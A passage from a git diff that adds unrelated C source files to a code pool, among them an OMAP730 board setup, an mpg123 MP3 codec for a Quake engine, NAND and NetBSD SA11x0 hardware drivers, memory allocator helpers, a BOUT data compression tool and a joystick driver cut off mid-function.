+ .start = OMAP730_FPGA_ETHR_START, /* Physical */ + .end = OMAP730_FPGA_ETHR_START + SZ_4K, + .flags = IORESOURCE_MEM, + }, + [1] = { + .start = 0, + .end = 0, + .flags = INT_ETHER, + }, +}; + +static struct platform_device smc91x_device = { + .name = "smc91x", + .id = 0, + .num_resources = ARRAY_SIZE(smc91x_resources), + .resource = smc91x_resources, +}; + +static struct platform_device *devices[] __initdata = { + &smc91x_device, +}; + +static void __init omap_perseus2_init(void) +{ + (void) platform_add_devices(devices, ARRAY_SIZE(devices)); +} + +/* Only FPGA needs to be mapped here. All others are done with ioremap */ +static struct map_desc omap_perseus2_io_desc[] __initdata = { + {OMAP730_FPGA_BASE, OMAP730_FPGA_START, OMAP730_FPGA_SIZE, + MT_DEVICE}, +}; + +static void __init omap_perseus2_map_io(void) +{ + omap_map_io(); + iotable_init(omap_perseus2_io_desc, + ARRAY_SIZE(omap_perseus2_io_desc)); + + /* Early, board-dependent init */ + + /* + * Hold GSM Reset until needed + */ + omap_writew(omap_readw(OMAP730_DSP_M_CTL) & ~1, OMAP730_DSP_M_CTL); + + /* + * UARTs -> done automagically by 8250 driver + */ + + /* + * CSx timings, GPIO Mux ... setup + */ + + /* Flash: CS0 timings setup */ + omap_writel(0x0000fff3, OMAP730_FLASH_CFG_0); + omap_writel(0x00000088, OMAP730_FLASH_ACFG_0); + + /* + * Ethernet support trough the debug board + * CS1 timings setup + */ + omap_writel(0x0000fff3, OMAP730_FLASH_CFG_1); + omap_writel(0x00000000, OMAP730_FLASH_ACFG_1); + + /* + * Configure MPU_EXT_NIRQ IO in IO_CONF9 register, + * It is used as the Ethernet controller interrupt + */ + omap_writel(omap_readl(OMAP730_IO_CONF_9) & 0x1FFFFFFF, OMAP730_IO_CONF_9); +} + +MACHINE_START(OMAP_PERSEUS2, "OMAP730 Perseus2") + MAINTAINER("Kevin Hilman ") + BOOT_MEM(0x10000000, 0xfff00000, 0xfef00000) + BOOT_PARAMS(0x10000100) + MAPIO(omap_perseus2_map_io) + INITIRQ(omap_perseus2_init_irq) + INITTIME(omap_init_time) + INIT_MACHINE(omap_perseus2_init) +MACHINE_END diff --git a/pool/shard011/C/0142368_snd_mpg123.c b/pool/shard011/C/0142368_snd_mpg123.c new file mode 100644 index 0000000000000000000000000000000000000000..917e49a202c909e00471bd7be31789c7ead14ef9 --- /dev/null +++ b/pool/shard011/C/0142368_snd_mpg123.c @@ -0,0 +1,215 @@ +/* MP3 decoding support using libmpg123 + * Copyright (C) 2011-2019 O.Sezer + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or (at + * your option) any later version. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * + * See the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, write to the Free Software Foundation, Inc., + * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#include "quakedef.h" + +#if defined(USE_CODEC_MP3) +#include "snd_codec.h" +#include "snd_codeci.h" +#include "snd_mp3.h" +#include + +#define MPG123_DEF_SSIZE_T /* we do define ssize_t in our stdinc.h */ +#include + +#if !defined(MPG123_API_VERSION) || (MPG123_API_VERSION < 24) +#error minimum required libmpg123 version is 1.12.0 (api version 24) +#endif + +/* Private data */ +typedef struct _mp3_priv_t +{ + mpg123_handle *handle; + int handle_open; +} mp3_priv_t; + +/* CALLBACKS: libmpg123 expects POSIX read/lseek() behavior! */ +static ssize_t mp3_read (void *f, void *buf, size_t size) +{ + ssize_t ret = (ssize_t)FS_fread (buf, 1, size, (fshandle_t *)f); + if (ret == 0 && errno != 0) + return -1; + return ret; +} +static off_t mp3_seek (void *f, off_t offset, int whence) +{ + if (f == NULL) + return -1; + if (FS_fseek ((fshandle_t *)f, (long)offset, whence) < 0) + return (off_t)-1; + return (off_t)FS_ftell ((fshandle_t *)f); +} + +static qboolean S_MP3_CodecInitialize (void) +{ + if (!mp3_codec.initialized) + { + if (mpg123_init () != MPG123_OK) + { + Con_Printf ("Could not initialize mpg123\n"); + return false; + } + mp3_codec.initialized = true; + } + return true; +} + +static void S_MP3_CodecShutdown (void) +{ + if (mp3_codec.initialized) + { + mp3_codec.initialized = false; + mpg123_exit (); + } +} + +static qboolean S_MP3_CodecOpenStream (snd_stream_t *stream) +{ + long rate = 0; + int encoding = 0, channels = 0; + mp3_priv_t *priv = NULL; + + if (mp3_skiptags (stream) < 0) + { + Con_Printf ("Corrupt mp3 file (bad tags.)\n"); + return false; + } + + stream->priv = Z_Malloc (sizeof (mp3_priv_t)); + priv = (mp3_priv_t *)stream->priv; + priv->handle = mpg123_new (NULL, NULL); + if (priv->handle == NULL) + { + Con_Printf ("Unable to allocate mpg123 handle\n"); + goto _fail; + } + + if (mpg123_replace_reader_handle (priv->handle, mp3_read, mp3_seek, NULL) != MPG123_OK || mpg123_open_handle (priv->handle, &stream->fh) != MPG123_OK) + { + Con_Printf ("Unable to open mpg123 handle\n"); + goto _fail; + } + priv->handle_open = 1; + + if (mpg123_getformat (priv->handle, &rate, &channels, &encoding) != MPG123_OK) + { + Con_Printf ("Unable to retrieve mpg123 format for %s\n", stream->name); + goto _fail; + } + + switch (channels) + { + case MPG123_MONO: + stream->info.channels = 1; + break; + case MPG123_STEREO: + stream->info.channels = 2; + break; + default: + Con_Printf ("Unsupported number of channels %d in %s\n", channels, stream->name); + goto _fail; + } + + stream->info.rate = rate; + + switch (encoding) + { + case MPG123_ENC_UNSIGNED_8: + stream->info.bits = 8; + stream->info.width = 1; + break; + case MPG123_ENC_SIGNED_8: + /* unsupported: force mpg123 to convert */ + stream->info.bits = 8; + stream->info.width = 1; + encoding = MPG123_ENC_UNSIGNED_8; + break; + case MPG123_ENC_SIGNED_16: + stream->info.bits = 16; + stream->info.width = 2; + break; + case MPG123_ENC_UNSIGNED_16: + default: + /* unsupported: force mpg123 to convert */ + stream->info.bits = 16; + stream->info.width = 2; + encoding = MPG123_ENC_SIGNED_16; + break; + } + if (mpg123_format_support (priv->handle, rate, encoding) == 0) + { + Con_Printf ("Unsupported format for %s\n", stream->name); + goto _fail; + } + mpg123_format_none (priv->handle); + mpg123_format (priv->handle, rate, channels, encoding); + + return true; +_fail: + if (priv) + { + if (priv->handle) + { + if (priv->handle_open) + mpg123_close (priv->handle); + mpg123_delete (priv->handle); + } + Z_Free (stream->priv); + } + return false; +} + +static int S_MP3_CodecReadStream (snd_stream_t *stream, int bytes, void *buffer) +{ + mp3_priv_t *priv = (mp3_priv_t *)stream->priv; + size_t bytes_read = 0; + int res = mpg123_read (priv->handle, (unsigned char *)buffer, (size_t)bytes, &bytes_read); + switch (res) + { + case MPG123_DONE: + Con_DPrintf ("mp3 EOF\n"); + case MPG123_OK: + return (int)bytes_read; + } + return -1; /* error */ +} + +static void S_MP3_CodecCloseStream (snd_stream_t *stream) +{ + mp3_priv_t *priv = (mp3_priv_t *)stream->priv; + mpg123_close (priv->handle); + mpg123_delete (priv->handle); + Z_Free (stream->priv); + S_CodecUtilClose (&stream); +} + +static int S_MP3_CodecRewindStream (snd_stream_t *stream) +{ + mp3_priv_t *priv = (mp3_priv_t *)stream->priv; + off_t res = mpg123_seek (priv->handle, 0, SEEK_SET); + if (res >= 0) + return 0; + return res; +} + +snd_codec_t mp3_codec = {CODECTYPE_MP3, false, "mp3", S_MP3_CodecInitialize, S_MP3_CodecShutdown, S_MP3_CodecOpenStream, S_MP3_CodecReadStream, + S_MP3_CodecRewindStream, NULL, /* jump */ + S_MP3_CodecCloseStream, NULL}; + +#endif /* USE_CODEC_MP3 */ diff --git a/pool/shard011/C/0142369_nand.c b/pool/shard011/C/0142369_nand.c new file mode 100644 index 0000000000000000000000000000000000000000..6ff0f4f96c43b5d5f10a1f0407c525577d2cbd47 --- /dev/null +++ b/pool/shard011/C/0142369_nand.c @@ -0,0 +1,106 @@ +/* + * (C) Copyright 2006 Aubrey.Li, aubrey.li@analog.com + * + * See file CREDITS for list of people who contributed to this + * project. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation; either version 2 of + * the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, + * MA 02111-1307 USA + */ + +#include +#include + +#if defined(CONFIG_CMD_NAND) + +#include + +#define CONCAT(a,b,c,d) a ## b ## c ## d +#define PORT(a,b) CONCAT(pPORT,a,b,) + +#ifndef CONFIG_NAND_GPIO_PORT +#define CONFIG_NAND_GPIO_PORT F +#endif + +/* + * hardware specific access to control-lines + */ +static void bfin_hwcontrol(struct mtd_info *mtd, int cmd) +{ + register struct nand_chip *this = mtd->priv; + + switch (cmd) { + + case NAND_CTL_SETCLE: + this->IO_ADDR_W = CFG_NAND_BASE + BFIN_NAND_CLE; + break; + case NAND_CTL_CLRCLE: + this->IO_ADDR_W = CFG_NAND_BASE; + break; + + case NAND_CTL_SETALE: + this->IO_ADDR_W = CFG_NAND_BASE + BFIN_NAND_ALE; + break; + case NAND_CTL_CLRALE: + this->IO_ADDR_W = CFG_NAND_BASE; + break; + case NAND_CTL_SETNCE: + case NAND_CTL_CLRNCE: + break; + } + + this->IO_ADDR_R = this->IO_ADDR_W; + + /* Drain the writebuffer */ + SSYNC(); +} + +int bfin_device_ready(struct mtd_info *mtd) +{ + int ret = (*PORT(CONFIG_NAND_GPIO_PORT, IO) & BFIN_NAND_READY) ? 1 : 0; + SSYNC(); + return ret; +} + +/* + * Board-specific NAND initialization. The following members of the + * argument are board-specific (per include/linux/mtd/nand.h): + * - IO_ADDR_R?: address to read the 8 I/O lines of the flash device + * - IO_ADDR_W?: address to write the 8 I/O lines of the flash device + * - hwcontrol: hardwarespecific function for accesing control-lines + * - dev_ready: hardwarespecific function for accesing device ready/busy line + * - enable_hwecc?: function to enable (reset) hardware ecc generator. Must + * only be provided if a hardware ECC is available + * - eccmode: mode of ecc, see defines + * - chip_delay: chip dependent delay for transfering data from array to + * read regs (tR) + * - options: various chip options. They can partly be set to inform + * nand_scan about special functionality. See the defines for further + * explanation + * Members with a "?" were not set in the merged testing-NAND branch, + * so they are not set here either. + */ +void board_nand_init(struct nand_chip *nand) +{ + *PORT(CONFIG_NAND_GPIO_PORT, _FER) &= ~BFIN_NAND_READY; + *PORT(CONFIG_NAND_GPIO_PORT, IO_DIR) &= ~BFIN_NAND_READY; + *PORT(CONFIG_NAND_GPIO_PORT, IO_INEN) |= BFIN_NAND_READY; + + nand->hwcontrol = bfin_hwcontrol; + nand->eccmode = NAND_ECC_SOFT; + nand->dev_ready = bfin_device_ready; + nand->chip_delay = 30; +} +#endif diff --git a/pool/shard011/C/0142370_memory.c b/pool/shard011/C/0142370_memory.c new file mode 100644 index 0000000000000000000000000000000000000000..8949f65b270bcc4aba7c93a58366c6a5c073197f --- /dev/null +++ b/pool/shard011/C/0142370_memory.c @@ -0,0 +1,53 @@ +#include "ijt.h" + +#define ijt_memoryInc(ijt, size) ijt->useMem += size +#define ijt_memoryDec(ijt, size) ijt->useMem -= size + + +void* ijt_malloc(ijt_t* ijt,size_t size) +{ + IJT_ASSERT(size > 0); + void* ptr = IJT_MALLOC(size); + IJT_ASSERT(ptr); + IJT_BZERO(ptr, size); + ijt_memoryInc(ijt,size); + return ptr; +} + +void ijt_free(ijt_t* ijt, void* ptr,size_t size) +{ + IJT_ASSERT(ptr); + if(IS_DIRTY(ptr)) { + IJT_EXIT("dirty! 0x%p",ptr); + } + IJT_DIRTY(ptr, size); + IJT_FREE(ptr); + ijt_memoryDec(ijt,size); +} + +ListHead* ijt_MemoryPool_malloc(ijt_t* ijt, size_t size) +{ + IJT_ASSERT(size > 0); + //IJT_DEBUG("size=%zd",size); + ListHead* head = ijt_ListHead_new(ijt, size); + return head; +} + +void ijt_MemoryPool_delete(ijt_t* ijt, ListHead* head) +{ + Object* obj = NULL; + List* pos = NULL; + ijt_list_foreach(pos, head->head) { + obj = (Object*)pos->ref; + if (!IS_NULL(obj)) { + ijt_free(ijt, obj, ijt_Object_getSize(ijt, obj->h.type)); + } + } + //IJT_DEBUG("size=%zd",head->size); + + //ijt_ListHead_delete(ijt, head); + ijt_free(ijt, head->head, head->size * sizeof(List)); + ijt_free(ijt, head, sizeof(ListHead)); + +} + diff --git a/pool/shard011/C/0142371_my_malloc_findchunk.c b/pool/shard011/C/0142371_my_malloc_findchunk.c new file mode 100644 index 0000000000000000000000000000000000000000..dc638a6c8714b58881b56802ff230db06ba9bd83 --- /dev/null +++ b/pool/shard011/C/0142371_my_malloc_findchunk.c @@ -0,0 +1,31 @@ +/* + * my_malloc_findchunk.c + * + * Licensed under GNU GPL v3 + * Contributors: + * - Garuda1 + * + */ + +#include +#include + +/* + * This function is a part of the malloc + * family. It looks for a chunk large enough + * to use instead of allocating more memory. + * + */ + +t_memchunk *my_malloc_findchunk(const size_t size, t_memchunk **heap_ptr) +{ + t_memchunk *chunk; + + chunk = my_malloc_start(); + while ((chunk != MY_NULL) && ((chunk -> is_free == 0) || (chunk -> size < size))) + { + *heap_ptr = chunk; + chunk = chunk -> next; + } + return (chunk); +} diff --git a/pool/shard011/C/0142372_compress.c b/pool/shard011/C/0142372_compress.c new file mode 100644 index 0000000000000000000000000000000000000000..8f5a17fe3fbccfab17de207e9c9714511a719ea5 --- /dev/null +++ b/pool/shard011/C/0142372_compress.c @@ -0,0 +1,216 @@ +/******************************************************* + * Data compression for BOUT dump files + * Long-term archiving of results. Only updates when + * variable changes by a significant amount + *******************************************************/ + +#include +#include + +#include "pdb.h" +#include "sdclib.h" + +#include + +#define FILE_MAGIC "BCD 1.0" + +int get_integer(char *prompt) +{ + char buffer[256]; + int val, retry; + retry = 1; + do { + printf("%s: ", prompt); + fgets(buffer, 255, stdin); + + if(sscanf(buffer, "%d", &val) == 1) + retry = 0; + }while(retry); + + return(val); +} + +#define DEFAULT_ABSTOL 1.0e-3 +#define DEFAULT_RELTOL 1.0e-6 +#define DEFAULT_ETA 1.0e-16 + +static double now() +{ + struct timeval tv; + gettimeofday(&tv, 0); + return tv.tv_sec + 1e-6 * tv.tv_usec; +} + +int main(int argc, char**argv) +{ + FILE *fp; + SDCfile *out; + PDBfile *in; + + char *name; + char *infile; + + long ind4d[12]; + syment *ep; + dimdes* dims; + int nd, size, mint, maxt, nt, t, fnr; + int N, order, reset, nregions; + float *data; + int n; + char c; + double run_time; + int i; + int tfirst; + + if(argc < 3) { + printf("Useage: %s [options] variable file1 [file2 ... fileN]\n", argv[0]); + return(1); + } + + tfirst = 0; + + i = 1; + while(argv[i][0] == '-') { + // This is an option + if(strncmp(argv[i], "-t", 2) == 0) { + // Time is the first index + printf("Using first index as time\n"); + tfirst = 1; + }else { + printf("Unrecognised option '%s'\n", argv[i]); + exit(1); + } + i++; + } + + name = argv[i]; i++; + + N = 0; + + run_time = now(); + + for(fnr=i;fnr < argc;fnr++) { + infile = argv[fnr]; + printf("Opening file %s\n", infile); + + /* Open input file */ + + if((in = PD_open(infile, "r")) == NULL) { + printf("Error: Could not open input file '%s'\n", infile); + return(1); + } + + /* Query size of variable */ + + if((ep = PD_query_entry(in, name, NULL)) == (syment*) NULL) { + printf("Error querying variable %s\n", name); + return(1); + } + dims = PD_entry_dimensions(ep); + nd = 0; /* Count number of dimensions */ + size = 1; + while(dims != (dimdes*) NULL) { + ind4d[3*nd] = dims->index_min; + ind4d[3*nd+1] = dims->index_max; + size *= dims->index_max - dims->index_min + 1; + ind4d[3*nd+2] = 1L; + nd++; + dims = dims->next; + } + + if(tfirst) { + // T is the first index + mint = ind4d[0]; + maxt = ind4d[1]; + }else { + mint = ind4d[3*(nd-1)]; + maxt = ind4d[3*(nd-1)+1]; + } + nt = maxt - mint + 1; + + size /= nt; + + if(N == 0) { + /* First file */ + + N = size; + + printf("Number of dimensions: %d (plus time)\n", nd-1); + printf("Number of data points: %d\n", size); + printf("Number of time points: %d\n", nt); + + order = get_integer("Maximum interpolation order"); + reset = get_integer("Reset period"); + nregions = get_integer("Number of regions"); + + /* Allocate memory */ + data = (float*) malloc(sizeof(float)*size); + + /* Open output file */ + fp = fopen("output.sdc", "wb"); + + /* Write header */ + n = strlen(FILE_MAGIC); + WRITE_VAR(FILE_MAGIC, 1, n, fp, 1); + + c = (char) sizeof(int); + WRITE_VAR(&c, 1, 1, fp, 1); + c = (char) sizeof(float); + WRITE_VAR(&c, 1, 1, fp, 1); + c = (char) sizeof(long); + WRITE_VAR(&c, 1, 1, fp, 1); + + WRITE_STRING(name, fp, 1); + WRITE_VAR(&nd, sizeof(int), 1, fp, 1); + if(tfirst) { + WRITE_VAR(ind4d+3, sizeof(long), 3*(nd-1), fp, 1); + }else + WRITE_VAR(ind4d, sizeof(long), 3*(nd-1), fp, 1); + WRITE_VAR(&size, sizeof(int), 1, fp, 1); + + /* Create SDC header */ + out = sdc_newfile(fp, N, order, reset, nregions); + sdc_set_tol(out, DEFAULT_ABSTOL, DEFAULT_RELTOL, DEFAULT_ETA); + }else { + /* Check size matches */ + if(size != N) { + printf("ERROR: This file has a different size (%d), expected %d\n", + size, N); + return(1); + } + } + + for(t=mint;t<=maxt;t++) { + if(tfirst) { + ind4d[0] = t; + ind4d[1] = t; + }else { + ind4d[3*(nd-1)] = t; + ind4d[3*(nd-1)+1] = t; + } + + printf("\rReading time-slice %4d", t); + fflush(stdout); + + if (PD_read_as_alt(in, name, "float", data, ind4d) == FALSE) { + printf("Error reading input file\n"); + return(1); + } + + if(sdc_write(out, data)) { + printf("Error writing data\n"); + return(2); + } + } + printf("\n"); + + PD_close(in); + } + + sdc_close(out); + fclose(fp); + + printf("Run time: %e seconds\n", now() - run_time); + + return(0); +} diff --git a/pool/shard011/C/0142373_sa11x0.c b/pool/shard011/C/0142373_sa11x0.c new file mode 100644 index 0000000000000000000000000000000000000000..38eaa13dce0c176347e04d75eeda66979a1819da --- /dev/null +++ b/pool/shard011/C/0142373_sa11x0.c @@ -0,0 +1,219 @@ +/* $NetBSD: sa11x0.c,v 1.18 2002/02/08 10:37:16 chris Exp $ */ + +/*- + * Copyright (c) 2001, The NetBSD Foundation, Inc. All rights reserved. + * + * This code is derived from software contributed to The NetBSD Foundation + * by IWAMOTO Toshihiro and Ichiro FUKUHARA. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the NetBSD + * Foundation, Inc. and its contributors. + * 4. Neither the name of The NetBSD Foundation nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + */ +/*- + * Copyright (c) 1999 + * Shin Takemura and PocketBSD Project. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the PocketBSD project + * and its contributors. + * 4. Neither the name of the project nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ +#include +#include +#include +#include +#include + +#include +#include + +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +#include "locators.h" + +/* prototypes */ +static int sa11x0_match(struct device *, struct cfdata *, void *); +static void sa11x0_attach(struct device *, struct device *, void *); +static int sa11x0_search(struct device *, struct cfdata *, void *); +static int sa11x0_print(void *, const char *); + +/* attach structures */ +struct cfattach saip_ca = { + sizeof(struct sa11x0_softc), sa11x0_match, sa11x0_attach +}; + +extern struct bus_space sa11x0_bs_tag; +extern vaddr_t saipic_base; + +extern int SetCPSR(int, int); + +/* + * int sa11x0_print(void *aux, const char *name) + * print configuration info for children + */ + +static int +sa11x0_print(aux, name) + void *aux; + const char *name; +{ + struct sa11x0_attach_args *sa = (struct sa11x0_attach_args*)aux; + + if (sa->sa_size) + printf(" addr 0x%lx", sa->sa_addr); + if (sa->sa_size > 1) + printf("-0x%lx", sa->sa_addr + sa->sa_size - 1); + if (sa->sa_memsize) + printf(" membase 0x%lx", sa->sa_membase); + if (sa->sa_memsize > 1) + printf("-0x%lx", sa->sa_membase + sa->sa_memsize - 1); + if (sa->sa_intr > 1) + printf(" intr %d", sa->sa_intr); + + return (UNCONF); +} + +int +sa11x0_match(parent, match, aux) + struct device *parent; + struct cfdata *match; + void *aux; +{ + return 1; +} + +void +sa11x0_attach(parent, self, aux) + struct device *parent; + struct device *self; + void *aux; +{ + struct sa11x0_softc *sc = (struct sa11x0_softc*)self; + + sc->sc_iot = &sa11x0_bs_tag; + + /* Map the SAIP */ + if (bus_space_map(sc->sc_iot, SAIPIC_BASE, SAIPIC_NPORTS, + 0, &sc->sc_ioh)) + panic("%s: Cannot map registers\n", self->dv_xname); + saipic_base = sc->sc_ioh; + + /* Map the GPIO registers */ + if (bus_space_map(sc->sc_iot, SAGPIO_BASE, SAGPIO_NPORTS, + 0, &sc->sc_gpioh)) + panic("%s: unable to map GPIO registers\n", self->dv_xname); + bus_space_write_4(sc->sc_iot, sc->sc_gpioh, SAGPIO_EDR, 0xffffffff); + + /* Map the PPC registers */ + if (bus_space_map(sc->sc_iot, SAPPC_BASE, SAPPC_NPORTS, + 0, &sc->sc_ppch)) + panic("%s: unable to map PPC registers\n", self->dv_xname); + + /* Map the DMA controller registers */ + if (bus_space_map(sc->sc_iot, SADMAC_BASE, SADMAC_NPORTS, + 0, &sc->sc_dmach)) + panic("%s: unable to map DMAC registers\n", self->dv_xname); + + printf("\n"); + + /* + * Mask all interrupts. + * They are later unmasked at each device's attach routine. + */ + bus_space_write_4(sc->sc_iot, sc->sc_ioh, SAIPIC_MR, 0); + + /* Route all bits to IRQ */ + bus_space_write_4(sc->sc_iot, sc->sc_ioh, SAIPIC_LR, 0); + + /* Exit idle mode only when unmasked intr is received */ + bus_space_write_4(sc->sc_iot, sc->sc_ioh, SAIPIC_CR, 1); + + /* disable all DMAC channels */ + bus_space_write_4(sc->sc_iot, sc->sc_dmach, SADMAC_DCR0_CLR, 1); + bus_space_write_4(sc->sc_iot, sc->sc_dmach, SADMAC_DCR1_CLR, 1); + bus_space_write_4(sc->sc_iot, sc->sc_dmach, SADMAC_DCR2_CLR, 1); + bus_space_write_4(sc->sc_iot, sc->sc_dmach, SADMAC_DCR3_CLR, 1); + bus_space_write_4(sc->sc_iot, sc->sc_dmach, SADMAC_DCR4_CLR, 1); + bus_space_write_4(sc->sc_iot, sc->sc_dmach, SADMAC_DCR5_CLR, 1); + + /* + * XXX this is probably a bad place, but intr bit shouldn't be + * XXX enabled before intr mask is set. + * XXX Having sane imask[] suffice?? + */ + SetCPSR(I32_bit, 0); + + /* + * Attach each devices + */ + config_search(sa11x0_search, self, NULL); +} + +int +sa11x0_search(parent, cf, aux) + struct device *parent; + struct cfdata *cf; + void *aux; +{ + struct sa11x0_softc *sc = (struct sa11x0_softc *)parent; + struct sa11x0_attach_args sa; + + sa.sa_sc = sc; + sa.sa_iot = sc->sc_iot; + sa.sa_addr = cf->cf_loc[SAIPCF_ADDR]; + sa.sa_size = cf->cf_loc[SAIPCF_SIZE]; + sa.sa_membase = cf->cf_loc[SAIPCF_MEMBASE]; + sa.sa_memsize = cf->cf_loc[SAIPCF_MEMSIZE]; + sa.sa_intr = cf->cf_loc[SAIPCF_INTR]; + + if ((*cf->cf_attach->ca_match)(parent, cf, &sa) > 0) + config_attach(parent, cf, &sa, sa11x0_print); + + return 0; +} diff --git a/pool/shard011/C/0142374_joystick12.c b/pool/shard011/C/0142374_joystick12.c new file mode 100644 index 0000000000000000000000000000000000000000..08009eee97acddf0ee6ac63729093eb3d17a1e12 --- /dev/null +++ b/pool/shard011/C/0142374_joystick12.c @@ -0,0 +1,214 @@ +/* + * Author: Noel Eck + * Copyright (c) 2015 Intel Corporation. + * + * Permission is hereby granted, free of charge, to any person obtaining + * a copy of this software and associated documentation files (the + * "Software"), to deal in the Software without restriction, including + * without limitation the rights to use, copy, modify, merge, publish, + * distribute, sublicense, and/or sell copies of the Software, and to + * permit persons to whom the Software is furnished to do so, subject to + * the following conditions: + * + * The above copyright notice and this permission notice shall be + * included in all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, + * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND + * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE + * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION + * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION + * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + */ + +#include +#include + +#include "joystick12.h" + +joystick12_context joystick12_init(int16_t apin_x, int16_t apin_y) +{ + // make sure MRAA is initialized + int mraa_rv; + if ((mraa_rv = mraa_init()) != MRAA_SUCCESS) + { + printf("%s: mraa_init() failed (%d).\n", __FUNCTION__, mraa_rv); + return NULL; + } + + joystick12_context dev = + (joystick12_context) malloc(sizeof(struct _joystick12_context)); + + if(dev == NULL) return NULL; + + /* Init analog pins */ + dev->ai_x = mraa_aio_init(apin_x); + dev->ai_y = mraa_aio_init(apin_y); + + /* Set the ref, zero the offset */ + dev->m_count_offset_x = 0.0; + dev->m_count_scale_x = 2.0; + dev->m_count_offset_y = 0.0; + dev->m_count_scale_y = 2.0; + + if((dev->ai_x == NULL) || (dev->ai_y == NULL)) + { + free(dev); + return NULL; + } + + return dev; +} + +void joystick12_close(joystick12_context dev) +{ + mraa_aio_close(dev->ai_x); + mraa_aio_close(dev->ai_y); + free(dev); +} + +upm_result_t joystick12_read_data(const joystick12_context dev, int* values) +{ + /* Throw away first read */ + mraa_aio_read(dev->ai_x); + values[0] = mraa_aio_read(dev->ai_x); + /* Throw away first read */ + mraa_aio_read(dev->ai_y); + values[1] = mraa_aio_read(dev->ai_y); + + if (values[0] < 0 || values[1] < 0) + return UPM_ERROR_OPERATION_FAILED; + + return UPM_SUCCESS; +} + +upm_result_t joystick12_set_offset_x(const joystick12_context dev, float offset) +{ + dev->m_count_offset_x = offset; + return UPM_SUCCESS; +} + +upm_result_t joystick12_set_offset_y(const joystick12_context dev, float offset) +{ + dev->m_count_offset_y = offset; + return UPM_SUCCESS; +} + +upm_result_t joystick12_set_scale_x(const joystick12_context dev, float scale) +{ + dev->m_count_scale_x = scale; + return UPM_SUCCESS; +} + +upm_result_t joystick12_set_scale_y(const joystick12_context dev, float scale) +{ + dev->m_count_scale_y = scale; + return UPM_SUCCESS; +} + +upm_result_t joystick12_get_value_x(const joystick12_context dev, float *value) +{ + int counts[2] = {0,0}; + + /* Read counts from the generic read method */ + joystick12_read_data(dev, counts); + + /* Get max adc value range 1023, 2047, 4095, etc... */ + float max_adc = (1 << mraa_aio_get_bit(dev->ai_x)) - 1; + + /* Apply raw offset */ + *value = counts[0] + dev->m_count_offset_x; + + // Scale to +/- 1.0 + *value = -2.0 * (((max_adc/2.0 - *value))/max_adc * dev->m_count_scale_x); + + // Clip to +/- 1.0 + if (*value > 1.0) *value = 1.0; + else if (*value < -1.0) *value = -1.0; + + return UPM_SUCCESS; +} + +upm_result_t joystick12_get_value_y(const joystick12_context dev, float *value) +{ + int counts[2] = {0,0}; + + /* Read counts from the generic read method */ + joystick12_read_data(dev, counts); + + /* Get max adc value range 1023, 2047, 4095, etc... */ + float max_adc = (1 << mraa_aio_get_bit(dev->ai_y)) - 1; + + /* Apply raw offset */ + *value = counts[1] + dev->m_count_offset_y; + + // Scale to +/- 1.0 + *value = -2.0 * (((max_adc/2.0 - *value))/max_adc * dev->m_count_scale_y); + + // Clip to +/- 1.0 + if (*value > 1.0) *value = 1.0; + else if (*value < -1.0) *value = -1.0; + + return UPM_SUCCESS; +} + +upm_result_t joystick12_zero(const joystick12_context dev) +{ + int 